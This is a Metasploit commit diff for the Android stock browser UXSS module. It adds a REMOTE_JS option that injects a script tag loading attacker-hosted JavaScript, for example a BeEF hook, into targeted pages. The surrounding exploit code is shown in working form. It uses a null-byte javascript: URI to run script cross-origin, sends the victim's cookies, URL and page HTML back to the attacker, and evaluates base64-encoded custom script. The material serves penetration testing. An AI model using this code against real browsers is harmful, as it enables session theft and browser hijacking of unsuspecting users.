Skip to content

Commit cf13597

Browse files
committed
Land rapid7#3801, REMOTE_JS for Android UXSS
For BeEF integration, etc.
2 parents 3e09283 + 59dfa62 commit cf13597

File tree

1 file changed

+19
-1
lines changed

1 file changed

+19
-1
lines changed

modules/auxiliary/gather/android_stock_browser_uxss.rb

Lines changed: 19 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -57,6 +57,11 @@ module also allows running aribrary javascript in the context of the targeted UR
5757
"A string of javascript to execute in the context of the target URLs.",
5858
''
5959
]),
60+
OptString.new('REMOTE_JS', [
61+
false,
62+
"A URL to inject into a script tag in the context of the target URLs.",
63+
''
64+
]),
6065
OptBool.new('BYPASS_XFO', [
6166
false,
6267
"Bypass URLs that have X-Frame-Options by using a one-click popup exploit.",
@@ -123,7 +128,7 @@ def on_request_uri(cli, request)
123128
var exploit = function(){
124129
window.open('\\u0000javascript:if(document&&document.body){(opener||top).postMessage('+
125130
'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+
126-
'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(datastore['CUSTOM_JS'])}"'+
131+
'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(custom_js)}"'+
127132
'));}void(0);', n);
128133
}
129134
if (!n) {
@@ -215,6 +220,19 @@ def backend_url
215220
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
216221
end
217222

223+
def custom_js
224+
rjs_hook + datastore['CUSTOM_JS']
225+
end
226+
227+
def rjs_hook
228+
remote_js = datastore['REMOTE_JS']
229+
if remote_js.present?
230+
"var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); "
231+
else
232+
''
233+
end
234+
end
235+
218236
def run
219237
exploit
220238
end

0 commit comments

Comments
 (0)